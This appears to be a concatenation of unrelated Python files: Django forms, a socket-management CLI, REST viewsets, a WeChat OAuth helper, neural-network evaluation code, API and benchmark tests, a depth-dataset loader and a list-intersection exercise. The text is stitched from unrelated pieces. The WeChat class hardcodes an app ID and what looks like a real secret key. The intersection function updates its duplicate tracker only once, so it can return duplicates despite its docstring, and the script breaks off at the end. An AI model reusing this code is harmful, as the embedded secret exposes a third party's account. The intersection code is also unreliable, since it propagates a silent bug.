#from django.forms import ModelForm, fields
from django import forms
from person.models import ImapServer, SmtpServer
class ImapServerForm(forms.ModelForm):
class Meta:
model = ImapServer
widgets = {
'passwd': forms.PasswordInput(),
}
class SmtpServerForm(forms.ModelForm):
class Meta:
model = SmtpServer
widgets = {
'passwd': forms.PasswordInput(),
}
|
import click
from mysocketctl.utils import *
@click.group()
def socket():
"""Manage your global sockets"""
pass
def get_sockets(authorization_header):
api_answer = requests.get(api_url + "connect", headers=authorization_header)
validate_response(api_answer)
return api_answer.json()
def new_socket(
authorization_header,
connect_name,
protected_socket,
protected_user,
protected_pass,
socket_type,
):
if not protected_socket:
protected_socket = False
else:
protected_socket = True
params = {
"name": connect_name,
"protected_socket": protected_socket,
"protected_username": protected_user,
"protected_password": protected_pass,
"socket_type": socket_type,
}
api_answer = requests.post(
api_url + "socket", data=json.dumps(params), headers=authorization_header
)
validate_response(api_answer)
return api_answer.json()
def delete_socket(authorization_header, socket_id):
api_answer = requests.delete(
api_url + "socket/" + socket_id, headers=authorization_header
)
validate_response(api_answer)
return api_answer
@socket.command()
def ls():
table = PrettyTable(
field_names=["socket_id", "dns_name", "type", "port(s)", "name"]
)
table.align = "l"
table.border = True
authorization_header = get_auth_header()
sockets = get_sockets(authorization_header)
for socket in sockets:
ports_str = listToStr = " ".join(
[str(elem) for elem in socket["socket_tcp_ports"]]
)
row = [
socket["socket_id"],
socket["dnsname"],
socket["socket_type"],
ports_str,
socket["name"],
]
table.add_row(row)
print(table)
@socket.command()
@click.option("--name", required=True, type=str)
@click.option("--protected", required=False, type=str, default="")
@click.option("--protected/--not-protected", default=False)
@click.option("--username", required=False, type=str, default="")
@click.option("--password", required=False, type=str, default="")
@click.option(
"--type",
required=False,
type=str,
default="http",
help="Socket type, http, https, tcp, tls",
)
def create(name, protected, username, password, type):
if protected:
if not username:
print("--username required when using --protected")
sys.exit(1)
if not password:
print("--password required when using --protected")
sys.exit(1)
if not name:
name = ""
if type not in ["http", "https", "tcp", "tls"]:
print("--type should be either http, https, tcp or tls")
sys.exit(1)
authorization_header = get_auth_header()
socket = new_socket(
authorization_header, name, protected, str(username), str(password), str(type)
)
ssh_server = "ssh.mysocket.io"
table = PrettyTable()
table.align = "l"
table.border = True
ports_str = listToStr = " ".join([str(elem) for elem in socket["socket_tcp_ports"]])
table.field_names = ["socket_id", "dns_name", "port(s)", "type", "name"]
if type in ["tcp", "tls"]:
tcp_ports = socket["socket_tcp_ports"]
row = [
socket["socket_id"],
socket["dnsname"],
ports_str,
socket["socket_type"],
socket["name"],
]
else:
row = [
socket["socket_id"],
socket["dnsname"],
ports_str,
socket["socket_type"],
socket["name"],
]
table.add_row(row)
print(table)
if protected:
protectedtable = PrettyTable(field_names=["username", "password"])
protectedtable.align = "l"
protectedtable.border = True
protectedtable.add_row([str(username), str(password)])
print("\nProtected Socket, login details:")
print(protectedtable)
@socket.command()
@click.option("--socket_id", required=True, type=str)
def delete(socket_id):
authorization_header = get_auth_header()
delete_socket(authorization_header, socket_id)
print("Socket " + socket_id + " deleted")
|
from rest_framework import status
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import Response
from rest_framework.viewsets import ModelViewSet
from .models import Project, Risk
from .serializers import (ProjectSerializer,
ProjectSerializerForUpdateRequests, RiskSerializer,
RiskSerializerForUpdateRequests)
class ProjectView(ModelViewSet):
"""
Viewset responsible for presenting Project models data
"""
serializer_class = ProjectSerializer
queryset = Project.objects.all()
permission_classes = [IsAuthenticated]
def get_serializer_class(self):
"""
Ensures that the contents of a PUT, POST or PATCH request do not contain the serialized versions of nested
objects.
:return: either the no-nested-serialization serializer of the default one depending on request method
"""
if self.request.method in ["PUT", "POST", "PATCH"]:
return ProjectSerializerForUpdateRequests
else:
return super().get_serializer_class()
def create(self, request, *args, **kwargs):
"""
Ensures that the response to a POST request is parsed using the elaborate (nested serialization included)
serialization instead of the one used for the request itself.
:param request: HTTP request sent by user
:return: HTTP response from server
"""
serializer = ProjectSerializer(data=request.data)
serializer.is_valid(raise_exception=True)
self.perform_create(serializer)
headers = self.get_success_headers(serializer.data)
return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)
def update(self, request, *args, **kwargs):
"""
Ensures that the response to a PUT/PATCH request is parsed using the elaborate (nested serialization included)
serialization instead of the one used for the request itself.
:param request: HTTP request sent by user
:return: HTTP response from server
"""
partial = kwargs.pop('partial', False)
instance = self.get_object()
serializer = self.get_serializer(instance, data=request.data, partial=partial)
serializer.is_valid(raise_exception=True)
self.perform_update(serializer)
return_serializer = ProjectSerializer(instance, data=request.data, partial=partial)
return_serializer.is_valid(raise_exception=True)
if getattr(instance, '_prefetched_objects_cache', None):
# If 'prefetch_related' has been applied to a queryset, we need to
# forcibly invalidate the prefetch cache on the instance.
instance._prefetched_objects_cache = {}
return Response(return_serializer.data)
class RiskView(ModelViewSet):
serializer_class = RiskSerializer
queryset = Risk.objects.all()
permission_classes = [IsAuthenticated]
def get_serializer_class(self):
"""
Ensures that the contents of a PUT, POST or PATCH request do not contain the serialized versions of nested
objects.
:return: either the no-nested-serialization serializer of the default one depending on request method
"""
if self.request.method in ["PUT", "POST", "PATCH"]:
return RiskSerializerForUpdateRequests
else:
return super().get_serializer_class()
def create(self, request, *args, **kwargs):
"""
Ensures that the response to a POST request is parsed using the elaborate (nested serialization included)
serialization instead of the one used for the request itself.
:param request: HTTP request sent by user
:return: HTTP response from server
"""
serializer = RiskSerializer(data=request.data)
serializer.is_valid(raise_exception=True)
self.perform_create(serializer)
headers = self.get_success_headers(serializer.data)
return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)
def update(self, request, *args, **kwargs):
"""
Ensures that the response to a PUT/PATCH request is parsed using the elaborate (nested serialization included)
serialization instead of the one used for the request itself.
:param request: HTTP request sent by user
:return: HTTP response from server
"""
partial = kwargs.pop('partial', False)
instance = self.get_object()
serializer = self.get_serializer(instance, data=request.data, partial=partial)
serializer.is_valid(raise_exception=True)
self.perform_update(serializer)
return_serializer = RiskSerializer(instance)
if getattr(instance, '_prefetched_objects_cache', None):
# If 'prefetch_related' has been applied to a queryset, we need to
# forcibly invalidate the prefetch cache on the instance.
instance._prefetched_objects_cache = {}
return Response(return_serializer.data)
|
import urllib.request
import json
class ab_User():
def __init__(self):
self.appId = 'wxff3cfebbdcbcd135'
self.appScrect = 'b9774614f15c56e6e42884ff84ee5168'
def getOpenId(self, code):
getUrl = ' https://api.weixin.qq.com/sns/oauth2/access_token?appid=%s&secret=%s&code=%s&grant_type=authorization_code' % (
self.appId, self.appScrect, code)
urlResp = urllib.request.urlopen(getUrl)
urlResp = json.loads(urlResp.read().decode('utf-8'))
return urlResp
def getUserInfo(self, access_token, openId):
getUrl = 'https://api.weixin.qq.com/sns/userinfo?access_token=%s&openid=%s&lang=zh_CN' % (
access_token, openId)
urlResp = urllib.request.urlopen(getUrl)
urlResp = json.loads(urlResp.read().decode('utf-8'))
return urlResp
def getWage(self,id):
pass
|
"""
498. Diagonal Traverse
Given a matrix of M x N elements (M rows, N columns), return all elements of the matrix in diagonal order as shown in the below image.
Example:
Input:
[
[ 1, 2, 3 ],
[ 4, 5, 6 ],
[ 7, 8, 9 ]
]
Output: [1,2,4,7,5,3,6,8,9]
Note:
The total number of elements of the given matrix will not exceed 10,000.
"""
class Solution(object):
def findDiagonalOrder(self, matrix):
"""
:type matrix: List[List[int]]
:rtype: List[int]
"""
if len(matrix) == 0:
return []
row = 0
col = 0
m = len(matrix)
n = len(matrix[0])
aimArr = []
i = 0
while i < m * n:
aimArr.append(matrix[row][col])
if (row + col) % 2 == 0:
if col == n - 1:
row += 1
elif row == 0:
col += 1
else:
row -= 1
col += 1
else:
if row == m - 1:
col += 1
elif col == 0:
row += 1
else:
row += 1
col -= 1
i += 1
return aimArr
|
import torch
import torch.nn as nn
import torch.nn.functional as F
from tqdm import tqdm
def evaluate(model, data_loader, metrics, device):
if model.training:
model.eval()
summary = {metric: 0 for metric in metrics}
for step, mb in tqdm(enumerate(data_loader), desc='steps', total=len(data_loader)):
x_mb, y_mb = map(lambda elm: elm.to(device), mb)
with torch.no_grad():
y_hat_mb, _ = model(x_mb)
for metric in metrics:
summary[metric] += metrics[metric](y_hat_mb, y_mb).item() * y_mb.size()[0]
else:
for metric in metrics:
summary[metric] /= len(data_loader.dataset)
return summary
def acc(yhat, y):
with torch.no_grad():
yhat = yhat.max(dim=1)[1]
acc = (yhat == y).float().mean()
return acc
def entropy(probs):
return torch.sum(probs * torch.log(probs), dim=-1)
class LSR(nn.Module):
def __init__(self, epsilon=.1, num_classes=162):
super(LSR, self).__init__()
self._epsilon = epsilon
self._num_classes = num_classes
def forward(self, yhat, y):
prior = torch.div(torch.ones_like(yhat), self._num_classes)
loss = F.cross_entropy(yhat, y, reduction='none')
reg = (-1 * F.log_softmax(yhat, dim=-1) * prior).sum(-1)
total = (1 - self._epsilon) * loss + self._epsilon * reg
lsr_loss = total.mean()
return lsr_loss
|
import pytest
from cognigraph.nodes.processors import Beamformer
from cognigraph.nodes.sources import FileSource
from cognigraph.nodes.tests.prepare_tests_data import (info, # noqa
fwd_model_path,
data_path)
import numpy as np
@pytest.fixture(scope='function') # noqa
def beamformer(info, fwd_model_path, data_path): # noqa
is_adaptive = True
beamformer = Beamformer(fwd_path=fwd_model_path,
is_adaptive=is_adaptive)
beamformer.mne_info = info
N_SEN = len(info['ch_names'])
beamformer.input = np.random.rand(N_SEN)
parent = FileSource(data_path)
parent.output = np.random.rand(info['nchan'], 1)
parent.mne_info = info
beamformer.parent = parent
return beamformer
@pytest.fixture # noqa
def beamformer_default(info): # noqa
beamformer_default = Beamformer()
parent = FileSource()
parent.mne_info = info
parent.output = np.random.rand(info['nchan'], 1)
beamformer_default.parent = parent
return beamformer_default
def test_defaults(beamformer_default):
assert beamformer_default.fwd_path is None
assert beamformer_default.mne_info is None
def test_initialize(beamformer):
beamformer.initialize()
assert hasattr(beamformer, '_filters')
assert beamformer.mne_info is not None
def test_reg_change(beamformer):
"""
Change regulariation parameter and see if filters changed but
covariance matrix didn't reset to default
"""
beamformer.initialize()
# -------- modify covariance so it's not equal to inital -------- #
nchans = beamformer._upstream_mne_info['nchan']
ntimes = 100
beamformer._update_covariance_matrix(np.random.rand(nchans, ntimes))
# --------------------------------------------------------------- #
data_cov_old = beamformer._data_cov.data
filters_old = beamformer._filters.copy()
beamformer.reg = 5
beamformer.reset()
assert not np.array_equal(filters_old, beamformer._filters)
assert np.array_equal(beamformer._data_cov.data, data_cov_old)
def test_adaptiveness_change(beamformer):
"""
Change is_adaptive and see if reinitialization happens
"""
beamformer.is_adaptive = True
beamformer.initialize()
data_cov_init = beamformer._data_cov.data
# -------- modify covariance so it's not equal to inital -------- #
nchans = beamformer._upstream_mne_info['nchan']
ntimes = 100
beamformer._update_covariance_matrix(np.random.rand(nchans, ntimes))
# --------------------------------------------------------------- #
filters = beamformer._filters.copy()
beamformer.is_adaptive = False
beamformer.update()
assert not np.array_equal(filters, beamformer._filters)
assert np.array_equal(beamformer._data_cov.data, data_cov_init)
def test_input_hist_inval_triggers_reinit_for_adaptive_beamformer(beamformer):
beamformer.parent.initialize()
beamformer.initialize()
data_cov_init = beamformer._data_cov.data
# -------- modify covariance so it's not equal to inital -------- #
nchans = beamformer._upstream_mne_info['nchan']
ntimes = 100
beamformer._update_covariance_matrix(np.random.rand(nchans, ntimes))
# --------------------------------------------------------------- #
filters_old = beamformer._filters.copy()
beamformer._filters = None # mess up the filters
beamformer.on_input_history_invalidation()
assert not np.array_equal(filters_old, beamformer._filters)
assert np.array_equal(beamformer._data_cov.data, data_cov_init)
def test_update(beamformer):
beamformer._initialize()
beamformer._update()
def test_check_value(beamformer):
with pytest.raises(ValueError):
beamformer.reg = -1
|
from pathlib import Path
import pytest
import pybmoore
@pytest.mark.parametrize(
"filename,terms",
[
(
"tests/data/br_constitution.txt",
["Deus", "Brasil"],
),
(
"tests/data/br_constitution.txt",
["Supremo Tribunal Federal", "Emenda Constitucional"],
),
],
)
def test_search_multiple_terms(filename, terms, benchmark):
benchmark(pybmoore.search, terms, Path(filename).read_text())
@pytest.mark.parametrize(
"filename,term",
[
("tests/data/br_constitution.txt", "Lei nº"),
("tests/data/br_constitution.txt", "Supremo Tribunal Federal"),
("tests/data/us_constitution.txt", "Congress"),
("tests/data/us_constitution.txt", "Congress of the United States"),
],
)
def test_search_single_term(filename, term, benchmark):
benchmark(pybmoore.search, term, Path(filename).read_text())
@pytest.mark.parametrize(
"pattern",
[
("algorithm"),
("string-searching"),
("19"),
("The Boyer–Moore"),
("algorithm preprocess"),
],
)
def test_search(pattern, benchmark):
TEXT = "In computer science, the Boyer–Moore string-search algorithm is an efficient string-searching algorithm that is the standard benchmark for practical string-search literature.[1] It was developed by Robert S. Boyer and J Strother Moore in 1977.[2] The original paper contained static tables for computing the pattern shifts without an explanation of how to produce them. The algorithm for producing the tables was published in a follow-on paper; this paper contained errors which were later corrected by Wojciech Rytter in 1980.[3][4] The algorithm preprocesses the string being searched for (the pattern), but not the string being searched in (the text). It is thus well-suited for applications in which the pattern is much shorter than the text or where it persists across multiple searches. The Boyer–Moore algorithm uses information gathered during the preprocess step to skip sections of the text, resulting in a lower constant factor than many other string search algorithms. In general, the algorithm runs faster as the pattern length increases. The key features of the algorithm are to match on the tail of the pattern rather than the head, and to skip along the text in jumps of multiple characters rather than searching every single character in the text."
benchmark(pybmoore.search, pattern, TEXT)
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Unit tests about articles' API"""
from logging import DEBUG
import pytest
from marucat_app import create_app
@pytest.fixture
def client():
app = create_app(level=DEBUG, db='test')
app.testing = True
return app.test_client()
def test_get_list(client):
"""Test fetch list"""
def perform_get_list(input_val, expect_val, code=200, tags=None):
"""test template
:param input_val: inputted values (size, offset)
:param expect_val: the expected result (size, offset)
:param code: expected status code
:param tags: tags
"""
# get inputted size and offset
size, offset = input_val if input_val else (None, None)
# make request with query params
# example: /articles/list?size=10&offset=1
requested_url = '/articles{}'.format(
'?{}{}{}'.format(
'size={}'.format(size) if size != '' else '',
'&' if size and offset else '',
'offset={}'.format(offset) if offset != '' else ''
) if size or offset else ''
)
# perform request
r = client.get(requested_url)
print(requested_url, r.status_code)
# check return code
assert code == r.status_code
if 200 == code:
# get expected size and offset
e_size, e_offset = expect_val
# check Content-Type
assert 'application/json' == r.content_type
# check data
fake_data = {
'test_only': 'TESTING',
'size': e_size,
'offset': e_offset,
'tags': tags
}
assert fake_data == r.get_json()[1]
elif 400 == code:
assert r.data
assert r.get_json()['error'] is not None
else:
raise AssertionError(
'Unexpected status code:{}'.format(r.status_code)
)
# 200 below
# default values (size, offset)
default_val = (10, 0)
# default params
perform_get_list(None, default_val)
# specific params
perform_get_list((55, 999), (55, 999))
# error checking
# no val provided to size
perform_get_list(('', 998), (10, 998))
# no val provided to offset
perform_get_list((1098, ''), (1098, 0))
# no val provided to both
perform_get_list(('', ''), default_val)
# 400 below
# invalid val provided
perform_get_list(('abc', 192), None, 400)
perform_get_list((111, 'acb'), None, 400)
perform_get_list((-1, 192), None, 400)
perform_get_list((111, -99), None, 400)
perform_get_list((0, 192), None, 400)
perform_get_list((111, 0), None, 400)
# other errors
# 405 method not allowed
rv = client.post('/articles?size=1&offset=2')
assert 405 == rv.status_code
def test_get_content(client):
"""Test fetch content"""
def perform_get_content(article_id, code=200):
"""Test template"""
url = '/articles/{}'.format(article_id)
r = client.get(url)
print(url, r.status_code)
assert code == r.status_code
if 404 == code:
if article_id == '' or '/' in article_id:
assert not r.data
else:
assert r.data
assert r.get_json()['error'] is not None
else:
r_data = r.get_json()
assert article_id == r_data['aid']
# 200 below
# /article/aidT1234
perform_get_content('T1234')
# 404 without error message feedback below
# /article/aid
# perform_get_content('', 404)
# 404 with error message feedback below
# /article/aidTEST_NOT_FOUND
perform_get_content('TEST_NOT_FOUND', 404)
# special characters
perform_get_content('/', 404)
perform_get_content('abc/ ', 404)
perform_get_content('abc/123', 404)
perform_get_content('asd&123', 404)
perform_get_content('asd+123', 404)
perform_get_content('asd_123', 404)
perform_get_content('asd-123', 404)
perform_get_content('asd"123', 404)
perform_get_content('asd\'123', 404)
# 405 method not allowed
rv = client.patch('/articles/aidTest')
assert 405 == rv.status_code
def test_get_comments(client):
"""Test fetch comments"""
def perform_get_comments(aid, inputted, expect, code=200):
"""Test template
:param aid: article id
:param inputted: inputted values
:param expect: expected result
:param code: status code
"""
size, page = None, None
if inputted is not None:
size, page = inputted
url = '/articles/{}/comments{}'.format(
aid if aid is not None else '',
'?{}{}{}'.format(
'size={}'.format(size) if size is not None else '',
'&' if size is not None and page is not None else '',
'offset={}'.format(page) if page is not None else ''
) if size is not None or page is not None else ''
)
r = client.get(url)
print(url, r.status_code)
assert code == r.status_code
if code == 200:
# get expected size and page
e_size, e_page = expect
# check Content-Type
assert 'application/json' == r.content_type
# check data
data = {
'test_only_aid': aid,
'size': e_size,
'offset': e_page
}
assert data == r.get_json()[1]
elif code == 400 or code == 404:
# check Content-Type
if aid != '' and '/' not in aid:
assert 'application/json' == r.content_type
assert r.get_json()['error'] is not None
else:
assert not r.data
else:
raise AssertionError(
'Unexpected status code:{}'.format(r.status_code)
)
# default values
perform_get_comments('T123', None, (10, 0))
perform_get_comments('DF789', (99, None), (99, 0))
perform_get_comments('090909', (None, 12), (10, 12))
# normally test
perform_get_comments('paa', (123, 456), (123, 456))
perform_get_comments('0998100029999123', (11, 12), (11, 12))
# bad parameters
perform_get_comments('', None, None, 404)
perform_get_comments('/', None, None, 404)
perform_get_comments('asd/123', (1, 2), None, 404)
perform_get_comments('asd&123', (3, 4), None, 404)
perform_get_comments('asd+123', None, None, 404)
perform_get_comments('asd-123', None, None, 404)
perform_get_comments('asd_123', (5, 6), None, 404)
perform_get_comments('asd\'123', (7, 8), None, 404)
perform_get_comments('asd"123', None, None, 404)
# bad query parameters
# perform_get_comments('T123', (0, 0), None, 400)
# perform_get_comments('T123', (0, 1), None, 400)
# perform_get_comments('T123', (1, 0), None, 400)
perform_get_comments('T123', (-1, -99), None, 400)
perform_get_comments('T123', (1, -1), None, 400)
perform_get_comments('T123', (-91, 11), None, 400)
# method not allowed
rv = client.put('/articles/aidT123/comments')
assert 405 == rv.status_code
def test_post_comments(client):
def perform_post_comments(article_id, data, code=201):
url = '/articles/{}/comments'.format(article_id)
r = client.post(url, json=data)
print(url, r.status_code)
assert code == r.status_code
if code == 404 or code == 400:
assert 'application/json' == r.content_type
assert r.get_json()['error'] is not None
normally_data = {
'from': 'Richard',
'body': 'Ok!',
'timestamp': 1529658047.974455
}
# normally
perform_post_comments('1234', normally_data)
# invalid article ID
perform_post_comments('123$123', normally_data, 404)
perform_post_comments('123"123', normally_data, 404)
perform_post_comments('123+123', normally_data, 404)
perform_post_comments('123-123', normally_data, 404)
perform_post_comments("123'123", normally_data, 404)
# invalid post data
perform_post_comments('test1234', {'from': 'a', 'body': 'b'}, 400)
perform_post_comments('test1234', {'timestamp': 'a', 'body': 'b'}, 400)
perform_post_comments('test1234', {'timestamp': 'a', 'from': 'b'}, 400)
# reply to ok
perform_post_comments('asd123123', {**normally_data, 'reply_to': '12412'})
def test_delete_comment(client):
def perform_delete_comment(article_id, comment_id, code=200):
url = '/articles/{}/comments/{}'.format(
article_id, comment_id
)
r = client.delete(url)
print(url, r.status_code)
assert code == r.status_code
if code == 404:
assert 'application/json' == r.content_type
assert r.get_json()['error'] is not None
# normally
perform_delete_comment('aid1234', 'cid1234')
# bad article ID
perform_delete_comment('aid+123', 'cid456', 404)
perform_delete_comment('aid-123', 'cid456', 404)
perform_delete_comment('aid*123', 'cid456', 404)
perform_delete_comment(r'aid\123', 'cid456', 404)
perform_delete_comment('aid"123', 'cid456', 404)
perform_delete_comment('aid123%', 'cid456', 404)
# perform_delete_comment('aid#123', 'cid456', 404)
# perform_delete_comment('aid123#', 'cid456', 404)
perform_delete_comment('aid@123', 'cid456', 404)
perform_delete_comment('aid&123', 'cid456', 404)
perform_delete_comment("aid'123", 'cid456', 404)
# bad comment ID
perform_delete_comment('aid1234', 'cid~123', 404)
perform_delete_comment('aid1234', 'cid!123', 404)
perform_delete_comment('aid1234', 'cid@123', 404)
perform_delete_comment('aid1234', 'cid$123', 404)
perform_delete_comment('aid1234', 'cid123%', 404)
perform_delete_comment('aid1234', 'cid^123', 404)
perform_delete_comment('aid1234', 'cid&123', 404)
perform_delete_comment('aid1234', 'cid*123', 404)
perform_delete_comment('aid1234', 'cid(123', 404)
perform_delete_comment('aid1234', 'cid)123', 404)
perform_delete_comment('aid1234', 'cid[123', 404)
perform_delete_comment('aid1234', 'cid]123', 404)
|
# Copyright (c) 2018-2021, Texas Instruments
# All Rights Reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
import os
import h5py
import scipy.io
import sys
import glob
import random
import numpy as np
import cv2
import PIL
from colorama import Fore
from .. import utils
from .dataset_base import *
class NYUDepthV2(DatasetBase):
def __init__(self, num_classes=151, ignore_label=None, download=False, **kwargs):
super().__init__(num_classes=num_classes, **kwargs)
self.force_download = True if download == 'always' else False
assert 'path' in self.kwargs and 'split' in self.kwargs, 'path and split must be provided'
self.depth_label_scale = 256.0
path = self.kwargs['path']
split = kwargs['split']
if download:
self.download(path, split)
#
self.kwargs['num_frames'] = self.kwargs.get('num_frames', None)
self.name = "NYUDEPTHV2"
self.ignore_label = ignore_label
#self.label_dir_txt = os.path.join(self.kwargs['path'], 'objectInfo150.txt')
image_dir = os.path.join(self.kwargs['path'], self.kwargs['split'], 'images')
images_pattern = os.path.join(image_dir, '*.jpg')
images = glob.glob(images_pattern)
self.imgs = sorted(images)
labels_dir = os.path.join(self.kwargs['path'], self.kwargs['split'], 'annotations')
labels_pattern = os.path.join(labels_dir, '*.png')
labels = glob.glob(labels_pattern)
self.labels = sorted(labels)
assert len(self.imgs) == len(self.labels), 'mismatch in the number f images and labels'
self.num_frames = min(self.kwargs['num_frames'], len(self.imgs)) \
if (self.kwargs['num_frames'] is not None) else len(self.imgs)
def download(self, path, split):
root = path
out_folder = root
train_images_folder = os.path.join(path, 'train', 'images')
train_annotations_folder = os.path.join(path, 'train', 'annotations')
val_images_folder = os.path.join(path, 'val', 'images')
val_annotations_folder = os.path.join(path, 'val', 'annotations')
if (not self.force_download) and os.path.exists(path) and os.path.exists(train_images_folder) and \
os.path.exists(train_annotations_folder) and os.path.exists(val_images_folder) and \
os.path.exists(val_annotations_folder):
print(utils.log_color('\nINFO', 'dataset exists - will reuse', path))
return
#
print(utils.log_color('\nINFO', 'downloading and preparing dataset', path + ' This may take some time.'))
print(f'{Fore.YELLOW}'
f'\nNYUDepthV2 Dataset:'
f'\n Indoor Segmentation and Support Inference from RGBD Images'
f'\n Silberman, N., Hoiem, D., Kohli, P., & Fergus, R. , European Conference on Computer Vision (ECCV), 2012. '
f'\n Visit the following urls to know more about NYUDepthV2 dataset: '
f'\n https://www.tensorflow.org/datasets/catalog/nyu_depth_v2'
f'\n https://cs.nyu.edu/~silberman/datasets/nyu_depth_v2.html '
f'{Fore.RESET}\n')
dataset_url = 'http://horatio.cs.nyu.edu/mit/silberman/nyu_depth_v2/nyu_depth_v2_labeled.mat'
split_url = 'https://github.com/cleinc/bts/blob/master/utils/splits.mat?raw=true'
root = root.rstrip('/')
download_root = os.path.join(root, 'download')
file_path = utils.download_file(dataset_url, root=download_root, force_download=self.force_download)
split_path = utils.download_file(split_url, root=download_root, force_download=self.force_download)
h5_file = h5py.File(file_path, 'r')
split = scipy.io.loadmat(split_path)
os.makedirs(out_folder, exist_ok=True)
os.makedirs(train_images_folder, exist_ok=True)
os.makedirs(train_annotations_folder, exist_ok=True)
os.makedirs(val_images_folder, exist_ok=True)
os.makedirs(val_annotations_folder, exist_ok=True)
test_images = set([int(x) for x in split["testNdxs"]])
train_images = set([int(x) for x in split["trainNdxs"]])
depths_raw = h5_file['rawDepths']
images = h5_file['images']
scenes = [u''.join(chr(c) for c in h5_file[obj_ref]) for obj_ref in h5_file['sceneTypes'][0]]
for i, (image, scene, depth_raw) in enumerate(zip(images, scenes, depths_raw)):
depth_raw = depth_raw.T
image = image.T
idx = int(i) + 1
if idx in train_images:
train_val = "train"
else:
assert idx in test_images, "index %d neither found in training set nor in test set" % idx
train_val = "val"
#folder = "%s/%s" % (out_folder, train_val)
folder = os.path.join(out_folder, train_val)
images_folder = os.path.join(folder, 'images')
annotations_folder = os.path.join(folder, 'annotations')
# if not os.path.exists(folder):
# os.makedirs(folder)
depth_raw = depth_raw.clip(0.0, 255.0 )
img_depth = depth_raw * self.depth_label_scale
img_depth_uint16 = img_depth.astype(np.uint16)
cv2.imwrite("%s/%05d.png" % (annotations_folder, i), img_depth_uint16)
image = image[:, :, ::-1]
image_black_boundary = np.zeros((480, 640, 3), dtype=np.uint8)
image_black_boundary[7:474, 7:632, :] = image[7:474, 7:632, :]
cv2.imwrite("%s/%05d.jpg" % (images_folder, i), image_black_boundary)
#
print(utils.log_color('\nINFO', 'dataset ready', path))
return
def __len__(self):
return self.num_frames
def __getitem__(self, idx, with_label=False):
if with_label:
image_file = self.imgs[idx]
label_file = self.labels[idx]
return image_file, label_file
else:
return self.imgs[idx]
#
def __call__(self, predictions, **kwargs):
return self.evaluate(predictions, **kwargs)
def compute_scale_and_shift(self, prediction, gt, mask):
a_00 = np.sum(mask * prediction * prediction)
a_01 = np.sum(mask * prediction)
a_11 = np.sum(mask)
b_0 = np.sum(mask * prediction * gt)
b_1 = np.sum(mask * gt)
det = a_00 * a_11 - a_01 * a_01
if det <= 0:
return 0, 0
else:
x_0 = (a_11 * b_0 - a_01 * b_1) / det
x_1 = (-a_01 * b_0 + a_00 * b_1) / det
return x_0, x_1
def evaluate(self, predictions, threshold=1.25, depth_cap_max = 80, depth_cap_min = 1e-3, **kwargs):
disparity = kwargs.get('disparity')
scale_and_shift_needed = kwargs.get('scale_shift')
delta_1 = 0.0
num_frames = min(self.num_frames, len(predictions))
for n in range(num_frames):
image_file, label_file = self.__getitem__(n, with_label=True)
label_img = PIL.Image.open(label_file)
label_img = np.array(label_img, dtype=np.float32) / self.depth_label_scale
prediction = predictions[n]
if scale_and_shift_needed:
mask = label_img != 0
disp_label = np.zeros_like(label_img)
disp_label[mask] = 1.0 / label_img[mask]
if not disparity:
disp_prediction = np.zeros_like(prediction)
disp_prediction[prediction != 0] = 1.0 / prediction[prediction != 0]
else:
disp_prediction = prediction
scale, shift = self.compute_scale_and_shift(disp_prediction, disp_label, mask)
prediction = scale * disp_prediction + shift
prediction[prediction < 1 / depth_cap_max] = 1 / depth_cap_max
prediction[prediction > 1 / depth_cap_min] = 1 / depth_cap_min
mask = np.minimum(label_img, prediction) != 0
if disparity:
disp_pred = prediction
prediction = np.zeros_like(disp_pred)
prediction[mask] = 1.0 / disp_pred[mask]
delta = np.zeros_like(label_img, dtype=np.float32)
delta = np.maximum(
prediction[mask] / label_img[mask],
label_img[mask] / prediction[mask]
)
good_pixels_in_img = delta < threshold
delta_1 += good_pixels_in_img.sum() / mask.sum()
#
delta_1 /= (n + 1)
metric = {'accuracy_delta_1%': delta_1 * 100}
return metric |
"""
@author: David Lei
@since: 20/10/2017
Given two sorted lists and return a list of their intersection with no
duplicates with O(1) space and O(n) run time
For example:
A[2,3,3,4,6,6,8] B[3,3,6,7,9]
should return [3, 6]
Approach:
So since they are sorted we can have pointers i looking at array a and j looking at array b and iterate through that
which would be O(a) + O(b) = O(n) where is the number of items in both arrays.
I'm not sure how to make the output constant space so ill make the output O(intersection) but won't use any other space apart from that.
Another approach is to use sets, turn both arrays into a set and return the intersection, but that would use extra space.
"""
def intersection_extra_space(array_a, array_b):
return list(set(array_a) & set(array_b))
def intersection(array_a, array_b):
i = 0
j = 0
# Doing it without a set means we need ot keep track of the last number we added. output = set()
last_num = None
output = []
while True:
# Termination: When we have look through all of 1 array until the end of the array, there can't be anything shared past this.
if i >= len(array_a):
break
if j >= len(array_b):
break
if array_a[i] == array_b[j]:
if last_num != array_a[i]: # Don't already have a copy of this.
output.append(array_a[i])
if not last_num:
last_num = array_a[i]
# Can increment both as don't want dups.
i += 1
j += 1
elif array_a[i] < array_b[j]:
i += 1
else:
j += 1
return output
if __name__ == "__main__":
a = [2,3,3,4,6,6,8]
b = [3,3,6,7,9]
